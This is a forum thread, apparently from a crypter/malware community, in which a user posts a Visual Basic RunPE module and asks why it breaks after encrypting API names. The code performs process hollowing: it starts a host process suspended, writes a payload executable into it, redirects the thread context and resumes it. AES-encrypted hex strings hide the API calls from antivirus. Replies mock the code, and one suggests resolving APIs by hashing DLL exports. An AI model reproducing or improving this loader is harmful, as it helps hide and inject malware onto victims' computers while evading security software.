+ Reply to Thread
Page 1 of 2 12 LastLast
Results 1 to 10 of 13
  1. #1
    Senior Member yoyop's Avatar
    Join Date
    Jul 2008
    Posts
    134

    problem when i encrypt api's

    hi guys i need your help i encrypted all api's on lexies source but after my crypted file doesn't work
    i use aes encryption i hope i will get a lot of help cause i m really bored so please tell me if my encryption lines are good or no and what is the problem thank you

    and here is my runpe module :
    Code:
    Option Explicit
    
    Private Const CONTEXT_FULL              As Long = &H10007
    Private Const MAX_PATH                  As Integer = 260
    Private Const CREATE_SUSPENDED          As Long = &H4
    Private Const MEM_COMMIT                As Long = &H1000
    Private Const MEM_RESERVE               As Long = &H2000
    Private Const PAGE_EXECUTE_READWRITE    As Long = &H40
    
    Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
    Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
    
    Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
    Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
    Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
    Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
    
    Private Type SECURITY_ATTRIBUTES
        nLength As Long
        lpSecurityDescriptor As Long
        bInheritHandle As Long
    End Type
    
    
    Private Type STARTUPINFO
        cb As Long
        lpReserved As Long
        lpDesktop As Long
        lpTitle As Long
        dwX As Long
        dwY As Long
        dwXSize As Long
        dwYSize As Long
        dwXCountChars As Long
        dwYCountChars As Long
        dwFillAttribute As Long
        dwFlags As Long
        wShowWindow As Integer
        cbReserved2 As Integer
        lpReserved2 As Long
        hStdInput As Long
        hStdOutput As Long
        hStdError As Long
    End Type
    
    Private Type PROCESS_INFORMATION
        hProcess As Long
        hThread As Long
        dwProcessID As Long
        dwThreadID As Long
    End Type
    
    Private Type FLOATING_SAVE_AREA
        ControlWord As Long
        StatusWord As Long
        TagWord As Long
        ErrorOffset As Long
        ErrorSelector As Long
        DataOffset As Long
        DataSelector As Long
        RegisterArea(1 To 80) As Byte
        Cr0NpxState As Long
    End Type
    
    Private Type CONTEXT
        ContextFlags As Long
    
        Dr0 As Long
        Dr1 As Long
        Dr2 As Long
        Dr3 As Long
        Dr6 As Long
        Dr7 As Long
    
        FloatSave As FLOATING_SAVE_AREA
        SegGs As Long
        SegFs As Long
        SegEs As Long
        SegDs As Long
        Edi As Long
        Esi As Long
        Ebx As Long
        Edx As Long
        Ecx As Long
        Eax As Long
        Ebp As Long
        Eip As Long
        SegCs As Long
        EFlags As Long
        Esp As Long
        SegSs As Long
    End Type
    
    Private Type IMAGE_DOS_HEADER
        e_magic As Integer
        e_cblp As Integer
        e_cp As Integer
        e_crlc As Integer
        e_cparhdr As Integer
        e_minalloc As Integer
        e_maxalloc As Integer
        e_ss As Integer
        e_sp As Integer
        e_csum As Integer
        e_ip As Integer
        e_cs As Integer
        e_lfarlc As Integer
        e_ovno As Integer
        e_res(0 To 3) As Integer
        e_oemid As Integer
        e_oeminfo As Integer
        e_res2(0 To 9) As Integer
        e_lfanew As Long
    End Type
    
    Private Type IMAGE_SECTION_HEADER
        SecName As String * 8
        VirtualSize As Long
        VirtualAddress  As Long
        SizeOfRawData As Long
        PointerToRawData As Long
        PointerToRelocations As Long
        PointerToLinenumbers As Long
        NumberOfRelocations As Integer
        NumberOfLinenumbers As Integer
        characteristics  As Long
    End Type
    
    Private Type IMAGE_DATA_DIRECTORY
        VirtualAddress As Long
        Size As Long
    End Type
    
    Private Type IMAGE_OPTIONAL_HEADER
        Magic As Integer
        MajorLinkerVersion As Byte
        MinorLinkerVersion As Byte
        SizeOfCode As Long
        SizeOfInitializedData As Long
        SizeOfUnitializedData As Long
        AddressOfEntryPoint As Long
        BaseOfCode As Long
        BaseOfData As Long
        ' NT additional fields.
        ImageBase As Long
        SectionAlignment As Long
        FileAlignment As Long
        MajorOperatingSystemVersion As Integer
        MinorOperatingSystemVersion As Integer
        MajorImageVersion As Integer
        MinorImageVersion As Integer
        MajorSubsystemVersion As Integer
        MinorSubsystemVersion As Integer
        W32VersionValue As Long
        SizeOfImage As Long
        SizeOfHeaders As Long
        CheckSum As Long
        SubSystem As Integer
        DllCharacteristics As Integer
        SizeOfStackReserve As Long
        SizeOfStackCommit As Long
        SizeOfHeapReserve As Long
        SizeOfHeapCommit As Long
        LoaderFlags As Long
        NumberOfRvaAndSizes As Long
        DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
    End Type
    
    
    
    Private Type IMAGE_FILE_HEADER
        Machine As Integer
        NumberOfSections As Integer
        TimeDateStamp As Long
        PointerToSymbolTable As Long
        NumberOfSymbols As Long
        SizeOfOptionalHeader As Integer
        characteristics As Integer
    End Type
    
    Private Type IMAGE_NT_HEADERS
        Signature As Long
        FileHeader As IMAGE_FILE_HEADER
        OptionalHeader As IMAGE_OPTIONAL_HEADER
    End Type
    
    Private oTest  As CRijndael
    
    
    Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
        Dim lPtr                As Long
        Dim bvASM(&HEC00& - 1)  As Byte
        Dim i                   As Long
        Dim lMod                As Long
    
        lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
        If lMod = 0 Then Exit Function
    
        lPtr = VarPtr(bvASM(0))
        RtlMoveMemory ByVal lPtr, &H59595958, &H4:              lPtr = lPtr + 4
        RtlMoveMemory ByVal lPtr, &H5059, &H2:                  lPtr = lPtr + 2
        For i = UBound(Params) To 0 Step -1
            RtlMoveMemory ByVal lPtr, &H68, &H1:                lPtr = lPtr + 1
            RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4:     lPtr = lPtr + 4
        Next
        RtlMoveMemory ByVal lPtr, &HE8, &H1:                    lPtr = lPtr + 1
        RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4:         lPtr = lPtr + 4
        RtlMoveMemory ByVal lPtr, &HC3, &H1:                    lPtr = lPtr + 1
        CallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
    End Function
    Sub InjectExe(ByVal sHost As String, ByRef bvBuff() As Byte)
        Dim i       As Long
        Dim Pidh    As IMAGE_DOS_HEADER
        Dim Pinh    As IMAGE_NT_HEADERS
        Dim Pish    As IMAGE_SECTION_HEADER
        Dim Si      As STARTUPINFO
        Dim Pi      As PROCESS_INFORMATION
        Dim Ctx     As CONTEXT
    
        Si.cb = Len(Si)
    
        RtlMoveMemory Pidh, bvBuff(0), 64
        RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248
    
        CreateProcessA sHost, vbNullString, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
        Call CallAPI(strDecrypt(Hex2Str("F2819D70F2C8F60EC82E6035BF5F5765EA71729AA33F47B2C4D2C4DF017F3733"), "942F6"), strDecrypt(Hex2Str("DBFBA1FC1660A146DBD596B0C016F47478"), "942F6"), Pi.hProcess, Pinh.OptionalHeader.ImageBase)
        Call CallAPI(strDecrypt(Hex2Str("93EA6F3116A399F1A1A9C2508E847A786D0B0BBD9A72662F080CB374C4A5DBBC"), "942F6"), strDecrypt(Hex2Str("819BEE4DC90A0FF7E5D3F18270AB8DE9E1A2AACF44F129CDD5CBA6772D6557FD"), "942F6"), Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
        WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0
    
        For i = 0 To Pinh.FileHeader.NumberOfSections - 1
            RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
            WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
        Next i
    
        Ctx.ContextFlags = CONTEXT_FULL
        Call CallAPI(strDecrypt(Hex2Str("93EA6F3116A399F1A1A9C2508E847A786D0B0BBD9A72662F080CB374C4A5DBBC"), "942F6"), strDecrypt(Hex2Str("92AA39F7D2272EAECDF7814635C95E577DBA1FA1A3FA1DF50468B4A450E23C74"), "942F6"), Pi.hThread, VarPtr(Ctx))
        WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
        Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
        CallAPI "93EA6F3116A399F1A1A9C2508E847A786D0B0BBD9A72662F080CB374C4A5DBBC", "1BDD0C162BBC4A6A834A98EBF01278EA9B99E4247FC7A5D9118E8D301C428466", Pi.hThread, VarPtr(Ctx)
        CallAPI "93EA6F3116A399F1A1A9C2508E847A786D0B0BBD9A72662F080CB374C4A5DBBC", "332295D4D60A6C07BDDB71B68CF79221CAEAE5B07EC21A99B2FDA219C5BD8DF2", Pi.hThread
    End Sub
    
    
    
    Public Function ThisExe() As String
        Dim lRet        As Long
        Dim bvBuff(255) As Byte
        lRet = CallAPI(strDecrypt(Hex2Str("93EA6F3116A399F1A1A9C2508E847A786D0B0BBD9A72662F080CB374C4A5DBBC"), "942F6"), strDecrypt(Hex2Str("C1B466B45B9EED072A137F40342E3D38B5EDCD06EDB0"), "942F6"), App.hInstance, VarPtr(bvBuff(0)), 256)
        ThisExe = Left$(StrConv(bvBuff, vbUnicode), lRet)
    End Function
    Public Function strDecrypt(ByVal strMsg As String, ByVal pKey As String) As String
    Dim ByteArray() As Byte, byteKey() As Byte, CryptText() As Byte
        On Local Error Resume Next
    '   If strMsg = vbNullString Or pKey = vbNullString Then Exit Function
        Set oTest = New CRijndael
        ByteArray() = StrConv(strMsg, vbFromUnicode)
        byteKey() = StrConv(pKey, vbFromUnicode)
        CryptText() = oTest.DecryptData(ByteArray(), byteKey())
        Set oTest = Nothing
        strDecrypt = StrConv(CryptText(), vbUnicode)
    End Function
    
    Public Function Hex2Str(ByVal strData As String)
    Dim i As Long, CryptString As String, tmpChar As String
        On Local Error Resume Next
        For i = 1 To Len(strData) Step 2
            CryptString = CryptString & Chr$(Val("&H" & Mid$(strData, i, 2)))
        Next i
        Hex2Str = CryptString
    End Function

  2. #2
    Senior Member slayer616's Avatar
    Join Date
    Dec 2007
    Location
    Earth
    Posts
    1,474
    CallAPI "93EA6F3116A399F1A1A9C2508E847A786D0B0BBD9A72662F0 80CB374C4A5DBBC", "1BDD0C162BBC4A6A834A98EBF01278EA9B99E4247FC7A5D91 18E8D301C428466", Pi.hThread, VarPtr(Ctx)
    CallAPI "93EA6F3116A399F1A1A9C2508E847A786D0B0BBD9A72662F0 80CB374C4A5DBBC", "332295D4D60A6C07BDDB71B68CF79221CAEAE5B07EC21A99B 2FDA219C5BD8DF2", Pi.hThread

    looks ghay..

    Quote Originally Posted by francewar View Post
    TBH, i dont fucking care if we have a good rep @ OpenSc. Its the biggest skid forum ever. HF has alot more mature people then this forum.
    Doing custom coding. PM me for requests.

  3. #3
    Senior Member Megrem's Avatar
    Join Date
    Dec 2007
    Location
    Germany
    Posts
    278
    Quote Originally Posted by slayer616 View Post
    CallAPI "93EA6F3116A399F1A1A9C2508E847A786D0B0BBD9A72662F0 80CB374C4A5DBBC", "1BDD0C162BBC4A6A834A98EBF01278EA9B99E4247FC7A5D91 18E8D301C428466", Pi.hThread, VarPtr(Ctx)
    CallAPI "93EA6F3116A399F1A1A9C2508E847A786D0B0BBD9A72662F0 80CB374C4A5DBBC", "332295D4D60A6C07BDDB71B68CF79221CAEAE5B07EC21A99B 2FDA219C5BD8DF2", Pi.hThread

    looks ghay..
    what did u expect? it's supra

  4. #4
    Senior Member yoyop's Avatar
    Join Date
    Jul 2008
    Posts
    134
    ohh yeah i already correct that error but even if i write strdecrypt(hex2Str ........ in that line CallAPI "93EA6F3116A399F1A1A9C2508E847A786D0B0BBD9A726 62F0 80CB374C4A5DBBC", "1BDD0C162BBC4A6A834A98EBF01278EA9B99E4247FC7A 5D91 18E8D301C428466", Pi.hThread, VarPtr(Ctx)
    CallAPI "93EA6F3116A399F1A1A9C2508E847A786D0B0BBD9A726 62F0 80CB374C4A5DBBC", "332295D4D60A6C07BDDB71B68CF79221CAEAE5B07EC21 A99B 2FDA219C5BD8DF2", Pi.hThread
    it doesnt work

  5. #5
    Senior Member
    Join Date
    Jun 2008
    Location
    x64
    Posts
    1,537
    Dude,, That really looks fucked up man.. Use a more sophisticated way to crypt,, dont use hextostr...

  6. #6
    Senior Member
    Join Date
    Feb 2009
    Posts
    105
    what a freak code :\

  7. #7
    Senior Member yoyop's Avatar
    Join Date
    Jul 2008
    Posts
    134
    so please advice me how can i encrypt api's i didnt found any tuto on opensc and somesite none tuto about encrypting apis

  8. #8
    Senior Member yoyop's Avatar
    Join Date
    Jul 2008
    Posts
    134
    please squeezer what is fucked up on my src

  9. #9
    Senior Member
    Join Date
    Feb 2009
    Posts
    105
    ur not encrypting apis, only api names... VB is not the best choose for lowlevel work.
    one solution for API hidding is to search API addresses by hashes scanning dlls's exports.

  10. #10
    Senior Member yoyop's Avatar
    Join Date
    Jul 2008
    Posts
    134
    so please tell me how can i encrypt api's i don't find tuto

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. Calling api's dynamially help.
    By darkc0de in forum Visual Basic Help
    Replies: 3
    Last Post: 10-04-2009, 00:41
  2. [Question]Api's Crypted Showing ?
    By Hacker Share in forum General Programming Help
    Replies: 8
    Last Post: 10-10-2008, 02:44
  3. How to encrypt function help
    By unreachableboy in forum Delphi Help
    Replies: 6
    Last Post: 09-09-2008, 16:29
  4. How to use API's in Visual Basic by steve10120
    By Viodox in forum Visual Basic Help
    Replies: 1
    Last Post: 13-04-2008, 18:36
  5. PE-Encrypt 1.1. D.D.W.
    By SunRise in forum Snippets
    Replies: 0
    Last Post: 08-10-2007, 22:36

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.